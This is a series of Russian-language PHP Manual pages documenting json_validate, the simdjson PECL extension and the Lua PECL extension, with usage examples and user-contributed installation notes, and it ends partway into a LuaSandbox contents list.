  • PHP Manual
  • Функции JSON
  • Проверяет, содержит ли строка допустимый JSON

json_validate

(PHP 8 >= 8.3.0)

json_validate — Проверяет, содержит ли строка допустимый JSON

Описание

json_validate(string $json, int $depth = 512, int $flags = 0): bool

Возвращает результат проверки соответствия формата входной строки (string) допустимому JSON. Если функция json_validate() вернёт true, функция json_decode() успешно декодирует входную строку при использовании тех же параметров depth и flags.

Если функция json_validate() вернёт false, причину можно будет установить с помощью функции json_last_error() и json_last_error_msg().

Функция json_validate() использует меньше памяти, чем функция json_decode(), поскольку ей не нужно декодировать полезную нагрузку JSON или создавать содержащую её структуру массива или объекта.

Предостережение

Вызов функции json_validate() непосредственно перед функцией json_decode() приведёт к ненужному двойному разбору строки, поскольку функция json_decode() неявно выполняет такую проверку во время декодирования.

Использовать функцию json_validate() надо только в случае, когда данные декодирования полезной нагрузки JSON не нужно использовать немедленно, и необходимо знать, содержит ли строка допустимый JSON.

Список параметров

json

Строка для проверки.

Эта функция работает только со строками в кодировке UTF-8.

Замечание:

PHP реализует надмножество JSON, который описан в первоначальном » RFC 7159.

depth

Максимальная глубина вложенности структуры, для которой будет производиться декодирование. Значение должно быть больше 0 и меньше или равно 2147483647.

flags

В настоящее время принимается только JSON_INVALID_UTF8_IGNORE.

Возвращаемые значения

Возвращает true, если входная строка является синтаксически допустимым JSON, или false в противном случае.

Ошибки

Если значение параметра depth выходит за пределы допустимого диапазона, будет выброшено исключение ValueError.

Примеры

Пример #1 Пример использования json_validate()

<?php
var_dump(json_validate('{ "test": { "foo": "bar" } }'));
var_dump(json_validate('{ "": "": "" } }'));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Смотрите также

  • json_decode() - Декодирует строку JSON
  • json_last_error() - Возвращает последнюю ошибку
  • json_last_error_msg() - Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()

User Contributed Notes

There are no user contributed notes for this page.


Simdjson

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Предопределённые константы
  • Функции Simdjson
    • simdjson_decode — Декодирует строку JSON
    • simdjson_is_valid — Проверяет, является ли строка JSON корректной
    • simdjson_key_count — Возвращает значение по указателю JSON
    • simdjson_key_exists — Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON
    • simdjson_key_value — Декодирует значение строки JSON, расположенной по запрошенному указателю JSON
  • SimdJsonException — Класс SimdJsonException
  • SimdJsonValueError — Класс SimdJsonValueError

User Contributed Notes

There are no user contributed notes for this page.


Введение

Обеспечивает более быстрое декодирование JSON с помощью привязки simdjson для PHP (Single Instruction, Multiple Data).

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/simdjson.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SIMDJSON_ERR_CAPACITY (int)
Синтаксический анализатор не поддерживает документ такого размера. Выбрасывается при разборе строки JSON длиной более 4 Гб.
SIMDJSON_ERR_TAPE_ERROR (int)
У JSON-документа неправильная структура: отсутствующие или лишние запятые, скобки, пропущенные ключи и т.д.
SIMDJSON_ERR_DEPTH_ERROR (int)
JSON-документ слишком глубокий (слишком много вложенных объектов и массивов).
SIMDJSON_ERR_STRING_ERROR (int)
Проблема при разборе строки.
SIMDJSON_ERR_T_ATOM_ERROR (int)
Проблема при разборе атома, начинающегося с буквы 't'.
SIMDJSON_ERR_F_ATOM_ERROR (int)
Проблема при разборе атома, начинающегося с буквы 'f'.
SIMDJSON_ERR_N_ATOM_ERROR (int)
Проблема при разборе атома, начинающегося с буквы 'n'.
SIMDJSON_ERR_NUMBER_ERROR (int)
Проблема при разборе числа.
SIMDJSON_ERR_UTF8_ERROR (int)
Входные данные не соответствуют стандарту UTF-8.
SIMDJSON_ERR_UNINITIALIZED (int)
Парсер, используемый simdjson, не инициализирован. Этого не должно происходить.
SIMDJSON_ERR_EMPTY (int)
Пусто: JSON не найден.
SIMDJSON_ERR_UNESCAPED_CHARS (int)
В строках некоторые символы должны быть экранированы, но обнаружены неэкранированные символы.
SIMDJSON_ERR_UNCLOSED_STRING (int)
Строка открывается, но никогда не закрывается.
SIMDJSON_ERR_UNSUPPORTED_ARCHITECTURE (int)
У simdjson нет реализации, поддерживаемой данной архитектурой CPU (возможно, это не-SIMD CPU?).
SIMDJSON_ERR_INCORRECT_TYPE (int)
Этого не должно произойти.
SIMDJSON_ERR_NUMBER_OUT_OF_RANGE (int)
Число JSON слишком большое или слишком маленькое, чтобы вписаться в запрашиваемый тип. Обратите внимание, что библиотека C simdjson является форком и эта ошибка игнорируется, чтобы соответствовать обработке PHP слишком больших или слишком маленьких чисел JSON.
SIMDJSON_ERR_INDEX_OUT_OF_BOUNDS (int)
Этого не должно произойти.
SIMDJSON_ERR_NO_SUCH_FIELD (int)
Этого не должно произойти.
SIMDJSON_ERR_IO_ERROR (int)
Этого не должно произойти.
SIMDJSON_ERR_INVALID_JSON_POINTER (int)
Неверный синтаксис указателя JSON в функции simdjson_key_value() и других функциях, принимающих указатель JSON $key.
SIMDJSON_ERR_INVALID_URI_FRAGMENT (int)
Неверный синтаксис фрагмента URI.
SIMDJSON_ERR_UNEXPECTED_ERROR (int)
Непредвиденная ошибка, подумайте о том, чтобы сообщить об этой проблеме, так как, возможно, вы нашли ошибку в simdjson PECL.
SIMDJSON_ERR_PARSER_IN_USE (int)
Этого не должно произойти.
SIMDJSON_ERR_OUT_OF_ORDER_ITERATION (int)
Этого не должно произойти.
SIMDJSON_ERR_INSUFFICIENT_PADDING (int)
Этого не должно произойти.
SIMDJSON_ERR_INCOMPLETE_ARRAY_OR_OBJECT (int)
Документ JSON закончился раньше времени в середине объекта или массива.
SIMDJSON_ERR_SCALAR_DOCUMENT_AS_VALUE (int)
Этого не должно произойти.
SIMDJSON_ERR_OUT_OF_BOUNDS (int)
Попытка доступа к местоположению за пределами документа.
SIMDJSON_ERR_TRAILING_CONTENT (int)
SIMDJSON_ERR_KEY_COUNT_NOT_COUNTABLE (int)
SIMDJSON_ERR_INVALID_PROPERTY (int)
Недопустимое имя свойства для stdClass при декодировании значения с помощью функции simdjson_decode() или simdjson_key_value().

User Contributed Notes

There are no user contributed notes for this page.


Функции Simdjson

Содержание

  • simdjson_decode — Декодирует строку JSON
  • simdjson_is_valid — Проверяет, является ли строка JSON корректной
  • simdjson_key_count — Возвращает значение по указателю JSON
  • simdjson_key_exists — Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON
  • simdjson_key_value — Декодирует значение строки JSON, расположенной по запрошенному указателю JSON

User Contributed Notes

There are no user contributed notes for this page.


Декодирует строку JSON

  • « Функции Simdjson
  • simdjson_is_valid »
  • PHP Manual
  • Функции Simdjson
  • Декодирует строку JSON

simdjson_decode

(PECL simdjson >= 2.0.0)

simdjson_decode — Декодирует строку JSON

Описание

simdjson_decode(string $json, bool $associative = false, int $depth = 512): mixed

Принимает строку в кодировке JSON и преобразует её в значение PHP. При этом используется более быстрая реализация Simultaneous Instruction, Multiple Data, чем в функции json_decode(), если это поддерживается архитектурой компьютера.

Список параметров

json

Декодируемая строка (string) в json формате.

Функция работает только со строками в кодировке UTF-8.

Функция анализирует допустимые входные данные, которые функция json_decode() может декодировать, при условии, что их длина не превышает 4 Гб.

associative

При значении true, объекты JSON будут возвращены как ассоциативные массивы (array); при значении false, объекты JSON будут возвращены как объекты (object).

depth

Максимальная глубина вложенности декодируемой структуры. Значение должно быть больше 0 и меньше или равно 2147483647. Вызывающие команды должны использовать достаточно маленькие значения, поскольку большая глубина требуют больше места в буфере и увеличивают глубину рекурсии, в отличие от текущей реализации функции json_decode().

Возвращаемые значения

Возвращает значение, закодированное в параметре json в соответствующем типе PHP. Значения true, false и null возвращаются как true, false и null соответственно.

Ошибки

Если параметр json недействителен, то начиная с версии PECL simdjson 2.1.0 выбрасывается исключение SimdJsonException, тогда как ранее выбрасывалось исключение RuntimeException.

Если параметр depth находится вне допустимого диапазона, то начиная с версии PECL simdjson 3.0.0 выбрасывается исключение SimdJsonValueError, тогда как ранее выдавалась ошибка уровня E_WARNING.

Примеры

Пример #1 Примеры использования simdjson_decode()

<?php
$json = '{"a":1,"b":2,"c":3}';

var_dump(simdjson_decode($json));
var_dump(simdjson_decode($json, true));

?>

Результат выполнения данного примера:

object(stdClass)#1 (3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}
array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}

Пример #2 Доступ к недопустимым свойствам объекта

Доступ к элементам объекта, содержащим символы, не разрешённые соглашением PHP об именовании (например, дефис), может быть осуществлён путём заключения имени элемента в фигурные скобки и апостроф.

<?php

$json = '{"foo-bar": 12345}';

$obj = simdjson_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Пример #3 Распространённые ошибки при использовании simdjson_decode()

<?php

// следующие строки являются допустимыми JavaScript, но не являются допустимыми JSON

// имя и значение должны быть заключены в двойные кавычки
// одинарные кавычки недопустимы
$bad_json = "{ 'bar': 'baz' }";
simdjson_decode($bad_json); // Выбрасывается исключение SimdJsonException

// имя должно быть заключено в двойные кавычки
$bad_json = '{ bar: "baz" }';
simdjson_decode($bad_json); // Выбрасывается исключение SimdJsonException

// запятые в конце не допускаются
$bad_json = '{ bar: "baz", }';
simdjson_decode($bad_json); // Выбрасывается исключение SimdJsonException

?>

Пример #4 Ошибки depth

<?php
// Кодирование некоторых данных с максимальной глубиной 4
// (array -> array -> array -> string)
$json = json_encode(
[
1 => [
'English' => [
'One',
'January'
],
'French' => [
'Une',
'Janvier'
]
]
]
);

// Отображение ошибок для разных глубин.
var_dump(simdjson_decode($json, true, 4));
try {
var_dump(simdjson_decode($json, true, 3));
} catch (SimdJsonException $e) {
echo "Попался: ", $e->getMessage(), "\n";
}
?>

Результат выполнения данного примера:

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Попался: The JSON document was too deep (too many nested objects and arrays)

Пример #5 simdjson_decode() больших целых чисел

<?php
$json = '{"number": 12345678901234567890}';

var_dump(simdjson_decode($json));

?>

Результат выполнения данного примера:

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}

Примечания

Замечание:

Спецификация JSON - это не JavaScript, а подмножество JavaScript.

Замечание:

В случае возникновения ошибки декодирования выбрасывается исключение SimdJsonException, а SimdJsonException::getCode() и SimdJsonException::getMessage() могут быть использованы для определения точной природы ошибки.

Смотрите также

  • json_encode() - Возвращает JSON-представление данных
  • json_decode() - Декодирует строку JSON

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли строка JSON корректной

  • « simdjson_decode
  • simdjson_key_count »
  • PHP Manual
  • Функции Simdjson
  • Проверяет, является ли строка JSON корректной

simdjson_is_valid

(PECL simdjson >= 2.0.0)

simdjson_is_valid — Проверяет, является ли строка JSON корректной

Описание

simdjson_is_valid(string $json = false, int $depth = 512): bool

Принимает строку, закодированную в JSON и возвращает true, если она корректная.

Список параметров

json

Строка (string) в формате json для проверки.

Функция работает только со строками в кодировке UTF-8.

Функция анализирует допустимые входные данные, которые функция json_decode() может декодировать, при условии, что их длина не превышает 4 Гб.

depth

Максимальная глубина вложенности декодируемой структуры. Значение должно быть больше 0 и меньше или равно 2147483647. Вызывающие команды должны использовать достаточно маленькие значения, поскольку большая глубина требуют больше места в буфере и увеличивают глубину рекурсии, в отличие от текущей реализации функции json_decode().

Возвращаемые значения

Возвращает true, если параметр json является корректной строкой JSON, в противном случае возвращает false.

Ошибки

Если параметр json больше 4 ГБ, то начиная с версии PECL simdjson 2.1.0 выбрасывается исключение SimdJsonException; ранее выбрасывалось исключение RuntimeException.

Если параметр depth находится вне допустимого диапазона, то начиная с версии PECL simdjson 3.0.0 выбрасывается исключение SimdJsonValueError, тогда как ранее выдавалась ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования simdjson_decode()

<?php
$json = '{"a":1,"b":2,"c":3}';
$invalidJson = '{"a":1,"b":2,"c":';

var_dump(simdjson_is_valid($json));
var_dump(simdjson_is_valid($invalidJson));

?>

Результат выполнения данного примера:

bool(true)
bool(false)

Пример #2 Ошибки depth

<?php
// Кодирование данных с максимальной глубиной 4
// (array -> array -> array -> string)
$json = json_encode(
[
1 => [
'English' => [
'One',
'January'
],
'French' => [
'Une',
'Janvier'
]
]
]
);

// Отображает ошибки для разных глубин.
var_dump(simdjson_is_valid($json, 4));
var_dump(simdjson_is_valid($json, 3));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Примечания

Замечание:

Спецификация JSON - это не JavaScript, а подмножество JavaScript.

Замечание:

В случае возникновения ошибки декодирования выбрасывается исключение SimdJsonException, а SimdJsonException::getCode() и SimdJsonException::getMessage() могут быть использованы для определения точной природы ошибки.

Смотрите также

  • json_encode() - Возвращает JSON-представление данных
  • json_decode() - Декодирует строку JSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по указателю JSON

  • « simdjson_is_valid
  • simdjson_key_exists »
  • PHP Manual
  • Функции Simdjson
  • Возвращает значение по указателю JSON

simdjson_key_count

(PECL simdjson >= 2.0.0)

simdjson_key_count — Возвращает значение по указателю JSON

Описание

simdjson_key_count(
string $json,
string $key,
int $depth = 512,
bool $throw_if_uncountable = false
): int

Подсчитывает количество элементов объекта/массива, найденных по запрошенному указателю JSON.

Список параметров

json

Запрашиваемая строка (string) в формате json.

key

Строка (string) указатель JSON.

depth

Максимальная глубина вложенности декодируемой структуры. Значение должно быть больше 0 и меньше или равно 2147483647. Вызывающие команды должны использовать достаточно маленькие значения, поскольку большая глубина требуют больше места в буфере и увеличивают глубину рекурсии, в отличие от текущей реализации функции json_decode().

throw_if_uncountable

При значении true вместо возвращаемого значения 0 будет выброшено исключение SimdJsonException, если значение, на которое указывает указатель JSON, не является ни объектом, ни массивом.

Возвращаемые значения

Возвращает целое число (int) с количеством элементов значения по заданному указателю JSON.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON

  • « simdjson_key_count
  • simdjson_key_value »
  • PHP Manual
  • Функции Simdjson
  • Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON

simdjson_key_exists

(PECL simdjson >= 2.0.0)

simdjson_key_exists — Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON

Описание

simdjson_key_exists(string $json, string $key, int $depth = ?): bool

Подсчитывает количество элементов объекта/массива, найденных по запрошенному указателю JSON.

Список параметров

json

Запрашиваемая строка (string) в формате json.

key

Строка (string) указатель JSON.

depth

Максимальная глубина вложенности декодируемой структуры. Значение должно быть больше 0 и меньше или равно 2147483647. Вызывающие команды должны использовать достаточно маленькие значения, поскольку большая глубина требуют больше места в буфере и увеличивают глубину рекурсии, в отличие от текущей реализации функции json_decode().

throw_if_uncountable

При значении true вместо возвращаемого значения 0 будет выброшено исключение SimdJsonException, если значение, на которое указывает указатель JSON, не является ни объектом, ни массивом.

Возвращаемые значения

Возвращает true, если указатель JSON действителен и ссылается на значение, найденное в корректной строке JSON. Возвращает false, если JSON действителен, но не содержит указателя JSON.

User Contributed Notes

There are no user contributed notes for this page.


Декодирует значение строки JSON, расположенной по запрошенному указателю JSON

  • « simdjson_key_exists
  • SimdJsonException »
  • PHP Manual
  • Функции Simdjson
  • Декодирует значение строки JSON, расположенной по запрошенному указателю JSON

simdjson_key_value

(PECL simdjson >= 2.0.0)

simdjson_key_value — Декодирует значение строки JSON, расположенной по запрошенному указателю JSON

Описание

simdjson_key_value(
string $json,
string $key,
bool $associative = false,
int $depth = 512
): mixed

Декодирует и возвращает значение, найденное в запрошенном указателе JSON.

Список параметров

json

Запрашиваемая и декодируемая строка (string) в формате json.

Функция работает только со строками в кодировке UTF-8.

Функция анализирует допустимые входные данные, которые функция json_decode() может декодировать, при условии, что их длина не превышает 4 Гб.

key

Строка (string) указатель JSON.

associative

При значении true, объекты JSON будут возвращены как ассоциативные массивы (array); при значении false, объекты JSON будут возвращены как объекты (object).

depth

Максимальная глубина вложенности декодируемой структуры. Значение должно быть больше 0 и меньше или равно 2147483647. Вызывающие команды должны использовать достаточно маленькие значения, поскольку большая глубина требуют больше места в буфере и увеличивают глубину рекурсии, в отличие от текущей реализации функции json_decode().

Возвращаемые значения

Возвращает часть значения, закодированное в параметре json на которую ссылается ключ key в соответствующем PHP-типе. Значения true, false и null возвращаются как true, false и null соответственно.

Ошибки

Если параметр json или key недопустимы или параметр key не удалось найти в параметре json, то начиная с версии PECL simdjson 2.1.0 выбрасывается исключение SimdJsonException; ранее выбрасывалось исключение RuntimeException.

Если параметр depth находится вне допустимого диапазона, то начиная с версии PECL simdjson 3.0.0 выбрасывается исключение SimdJsonValueError, тогда как ранее выдавалась ошибка уровня E_WARNING.

Смотрите также

  • json_encode() - Возвращает JSON-представление данных
  • simdjson_decode() - Декодирует строку JSON

User Contributed Notes

There are no user contributed notes for this page.


Класс SimdJsonException

(PECL simdjson >= 2.1.0)

Введение

Исключение, выбрасываемое функциями
simdjson_decode(),
simdjson_key_count(),
simdjson_key_exists()
или simdjson_key_value().

Возможные значения смотрите в константах коды ошибок simdjson.

Обзор классов

class SimdJsonException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


Класс SimdJsonValueError

(PECL simdjson >= 3.0.0)

Введение

Ошибка SimdJsonValueError выбрасывается, когда тип аргумента функции simdjson правильный, но его значение неверно. Например, когда JSON-декодированное значение $depth не является положительным или значение $depth слишком велико.

Обзор классов

class SimdJsonValueError extends ValueError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Список изменений

Версия | Описание
PHP 8.0.0 | Класс SimdJsonValueError теперь расширяет ValueError вместо Error.

User Contributed Notes

There are no user contributed notes for this page.


Lua

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Lua — Класс Lua
    • Lua::assign — Присвоить PHP-переменной Lua
    • Lua::call — Вызвать функции Lua
    • Lua::__construct — Конструктор Lua
    • Lua::eval — Разбирает строку как код Lua
    • Lua::getVersion — Возвращает версию
    • Lua::include — Разбирает файл содержащий скрипт Lua
    • Lua::registerCallback — Зарегистрировать функцию PHP в Lua
  • LuaClosure — Класс LuaClosure
    • LuaClosure::__invoke — Вызов замыкания Lua

User Contributed Notes

There are no user contributed notes for this page.


Введение

"Lua - это мощный, быстрый, легковесный, встраиваемый скриптовый язык." Этот модуль встраивает интерпретатор Lua и предоставляет OO-API для переменных и функций lua.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования этого модуля вам необходимо установить Lua. Дистрибутив доступен на » домашней странице Lua

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/lua.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

Anonymous 23-Aug-2020 08:25
pecl download lua
cd lua-2.0.7
phpize
./configure --with-lua-version=5.3
make
cp modules/lua.so /usr/lib/php/20151012/lua.so

add in PHP.INI:
extension=lua.so
dannosoAT.com 27-Jun-2016 01:27
This worked for my in php7

aptitude install php-pear
aptitude install php7-dev
aptitude reinstall lua5.2
aptitude reinstall liblua5.2-0
aptitude reinstall liblua5.2-dev

cp /usr/include/lua5.2/lua.h /usr/include
sudo ln -s /usr/include/lua*.*/ /usr/include/lua
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.so /usr/lib/liblua.so

sudo pecl install lua-2.0.2
rutgerspeksnijder at hotmail dot com 26-Oct-2015 01:07
Ignore my previous note, I forgot to add in where to use the PECL command to install phplua.

Installation on Ubuntu 14.04

"*.*" means version number

Packages to install (sudo apt-get install):
Install php5
Install php-pear
Install php5-dev
Install lua*.*
Install liblua*.*

Create soft link of /usr/include/lua TO /usr/include/lua*.*:
sudo ln -s /usr/include/lua*.*/ /usr/include/lua

Find liblua*.*.so and liblua*.*.a files in /usr/lib.
If they don't exist, they could be in /usr/lib/x86_64-linux-gnu or /usr/lib/i386-linux-gnu depending on OS.

Copy them from that directory into /usr/lib as liblua.so and liblua.a (WITHOUT VERSION NUMBER).

Example:
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a

Now execute the following command (1.1.0 is the version at the time of writing this):
sudo pecl install lua-1.1.0

Add extension=lua.so to php.ini file (could be /etc/php5/(cli/apache)/php.ini)

Hope this helps.
posti at taitavasti dot fi 15-Apr-2013 01:29
Simple guide to install phplua on CentOS 6.3:

Run these commands in terminal as root:

$yum install php-pear php-devel gcc lua-devel lua-static
$mkdir /usr/include/lua
$ln -s /usr/include/lua.h /usr/include/lua/lua.h
$pecl install lua-1.0.0

Then edit /etc/php.ini and add the following line below the similar ones:
extension=lua.so

Finally restart your web server and you should be all done!

I spent days googling around, trying and failing and gathering up what needs to be installed when you just have apache2 and php5 installed and working.

Thus there is this bug preventing pecl from finding lua.h, which is fixed by the symlink created above. The bug is already submitted:

https://bugs.php.net/bug.php?id=60641

Hope this info helps some body else too!


Класс Lua

(PECL lua >=0.9.0)

Введение

Обзор классов

class Lua {
/* Константы */
const string LUA_VERSION = Lua 5.1.4;
/* Методы */
public assign(string $name, string $value): mixed
public call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public __call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public __construct(string $lua_script_file = NULL)
public eval(string $statements): mixed
public getVersion(): string
public include(string $file): mixed
public registerCallback(string $name, callable $function): mixed
}

Предопределённые константы

Lua::LUA_VERSION

Содержание

  • Lua::assign — Присвоить PHP-переменной Lua
  • Lua::call — Вызвать функции Lua
  • Lua::__construct — Конструктор Lua
  • Lua::eval — Разбирает строку как код Lua
  • Lua::getVersion — Возвращает версию
  • Lua::include — Разбирает файл содержащий скрипт Lua
  • Lua::registerCallback — Зарегистрировать функцию PHP в Lua

User Contributed Notes

There are no user contributed notes for this page.


Присвоить PHP-переменной Lua

  • « Lua
  • Lua::call »
  • PHP Manual
  • Lua
  • Присвоить PHP-переменной Lua

Lua::assign

(PECL lua >=0.9.0)

Lua::assign — Присвоить PHP-переменной Lua

Описание

public Lua::assign(string $name, string $value): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

Возвращает $this или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Lua::assign()

<?php
$lua = new Lua();
$lua->assign("php_var", array(1=>1, 2, 3)); // индексы таблицы lua начинаются с 1
$lua->eval(<<<CODE
 print(php_var);
CODE
);
?>

Результат выполнения данного примера:

Array
 (
     [1] => 1
     [2] => 2
     [3] => 3
 )

User Contributed Notes

There are no user contributed notes for this page.


Вызвать функции Lua

  • « Lua::assign
  • Lua::__construct »
  • PHP Manual
  • Lua
  • Вызвать функции Lua

Lua::call

Lua::__call

(PECL lua >=0.9.0)

Lua::call -- Lua::__call — Вызвать функции Lua

Описание

public Lua::call(callable $lua_func, array $args = ?, int $use_self = 0): mixed
public Lua::__call(callable $lua_func, array $args = ?, int $use_self = 0): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

lua_func

Имя функции lua

args

Передаваемые аргументы

use_self

Использовать ли self

Возвращаемые значения

Возвращает результат выполнившейся функции, null в случае некорректных аргументов, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Lua::call()

<?php
$lua = new Lua();
$lua->eval(<<<CODE
 function dummy(foo, bar)
print(foo, ",", bar)
end
CODE
);
$lua->call("dummy", array("Lua", "geiliable\n"));
$lua->dummy("Lua", "geiliable"); // __call()
var_dump($lua->call(array("table", "concat"), array(array(1=>1, 2=>2, 3=>3), "-")));
?>

Результат выполнения данного примера:

Lua,geiliable
Lua,geiliable
string(5) "1-2-3"

Смотрите также

  • __call()

User Contributed Notes

There are no user contributed notes for this page.


Конструктор Lua

  • « Lua::call
  • Lua::eval »
  • PHP Manual
  • Lua
  • Конструктор Lua

Lua::__construct

(PECL lua >=0.9.0)

Lua::__construct — Конструктор Lua

Описание

public Lua::__construct(string $lua_script_file = NULL)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

lua_script_file

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Разбирает строку как код Lua

  • « Lua::__construct
  • Lua::getVersion »
  • PHP Manual
  • Lua
  • Разбирает строку как код Lua

Lua::eval

(PECL lua >=0.9.0)

Lua::eval — Разбирает строку как код Lua

Описание

public Lua::eval(string $statements): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

statements

Возвращаемые значения

Возвращает результат выполненного кода, null в случае некорректных аргументов и false в случае ошибки.

Примеры

Пример #1 Пример использования Lua::eval()

<?php
$lua = new Lua();
$lua->eval(<<<CODE
 print(2);
CODE
);
?>

Результат выполнения данного примера:

2

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию

  • « Lua::eval
  • Lua::include »
  • PHP Manual
  • Lua
  • Возвращает версию

Lua::getVersion

(PECL lua >=0.9.0)

Lua::getVersion — Возвращает версию

Описание

public Lua::getVersion(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает Lua::LUA_VERSION.

User Contributed Notes

There are no user contributed notes for this page.


Разбирает файл содержащий скрипт Lua

  • « Lua::getVersion
  • Lua::registerCallback »
  • PHP Manual
  • Lua
  • Разбирает файл содержащий скрипт Lua

Lua::include

(PECL lua >=0.9.0)

Lua::include — Разбирает файл содержащий скрипт Lua

Описание

public Lua::include(string $file): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

file

Возвращаемые значения

Возвращает результат выполненного кода, null в случае некорректных аргументов, false в случае ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Зарегистрировать функцию PHP в Lua

  • « Lua::include
  • LuaClosure »
  • PHP Manual
  • Lua
  • Зарегистрировать функцию PHP в Lua

Lua::registerCallback

(Информация о версии неизвестна, возможно, только в Git)

Lua::registerCallback — Зарегистрировать функцию PHP в Lua

Описание

public Lua::registerCallback(string $name, callable $function): mixed

Регистрирует функцию PHP в Lua с именем "$name"

Список параметров

name

function

Корректная функция обратного вызова PHP

Возвращаемые значения

Возвращает $this, null в случае некорректных аргументов, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Lua::registerCallback()

<?php
$lua = new Lua();
$lua->registerCallback("echo", "var_dump");
$lua->eval(<<<CODE
 echo({1, 2, 3});
CODE
);
?>

Результат выполнения данного примера:

array(3) {
  [1]=>
  float(1)
  [2]=>
  float(2)
  [3]=>
  float(3)
}

User Contributed Notes

turn_and_turn at sina dot com 31-Jan-2020 12:10
// init lua
$lua = new Lua();

/**
* Hello world method
*/
function helloWorld()
{
    return "hello world";
}

// register our hello world method
$lua->registerCallback("helloWorld", helloWorld);
$lua->eval("
    -- call php method
    local retVal = helloWorld()

    print(retVal)
");

// register our hello world method but using an other name
$lua->registerCallback("worldHello", helloWorld);

// run our lua script
$lua->eval("
    -- call php method
    local retVal = worldHello()

    print(retVal)
");


Класс LuaClosure

(PECL lua >=0.9.0)

Введение

LuaClosure - это класс обёртка для LUA_TFUNCTION, которая может быть возвращена при вызове функции Lua.

Обзор классов

class LuaClosure {
/* Методы */
public __invoke(mixed ...$args): void
}

Содержание

  • LuaClosure::__invoke — Вызов замыкания Lua

User Contributed Notes

There are no user contributed notes for this page.


Вызов замыкания Lua

  • « LuaClosure
  • LuaSandbox »
  • PHP Manual
  • LuaClosure
  • Вызов замыкания Lua

LuaClosure::__invoke

(PECL lua >=0.9.0)

LuaClosure::__invoke — Вызов замыкания Lua

Описание

public LuaClosure::__invoke(mixed ...$args): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

args

Возвращаемые значения

Примеры

Пример #1 Пример использованияLuaClosure::__invoke()

<?php
$lua = new Lua();
$closure = $lua->eval(<<<CODE
 return (function ()
print("hello world")
end)
CODE
);

$lua->call($closure);
$closure();
?>

Результат выполнения данного примера:

hello worldhello world

User Contributed Notes

There are no user contributed notes for this page.


LuaSandbox

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Отличия от стандартного Lua
  • Примеры
    • Базовое использование LuaSandbox
